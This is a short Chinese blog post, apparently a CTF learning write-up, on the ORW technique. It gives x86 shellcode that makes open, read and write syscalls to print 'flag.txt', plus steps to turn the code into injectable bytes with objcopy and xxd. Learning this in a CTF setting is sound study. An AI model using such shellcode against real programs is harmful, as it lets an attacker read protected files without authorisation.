orz
依稀还记得前段时间做hgame的题,考出了ORW,当时候半懂不懂的就糊弄过去了。现在又学习一遍,感觉思路清晰了很多,所以记录一下。
上篇随笔写道系统调用,这次的ORW还是通过系统调用实现。顺便贴个系统调用全表的地址:
在里面可以看到所有函数的调用规则。
说回ORW,ORW就是open、read、write,通过调用这三个函数,如果在比赛中知道flag 的路径,就不需要拿到shell也可以拿到flag。
贴一下写的汇编代码了:
1 jmp sh 2 3 run: 4 pop ebx 5 mov eax,0x5 6 mov ecx,0x0 7 int 0x80 8 9 mov ebx,eax 10 mov eax,0x3 11 mov ecx,esp 12 mov edx,0x10 13 int 0x80 14 15 mov eax,0x4 16 mov ebx,0x1 17 mov ecx,esp 18 mov edx,0x10 19 int 0x80 20 21 xor eax,eax 22 inc eax 23 int 0x80 24 sh: 25 call run 26 db"flag.txt",0x0
代码很简单,就是c语言调用了这样的函数。open("flag.txt",0) read($eax,esp,0x10) write(1,esp,0x10)代码可能不规范,但是大致意思是这样的,最后还调用了exit函数。这里学到一条新的汇编,inc是自加的意思。
接下来就是生成orw.o,用objcopy去除无用代码,xxd -i生成可直接用的code,然后套上篇随笔的模板,就写出来了。
贴几张图纪念一下。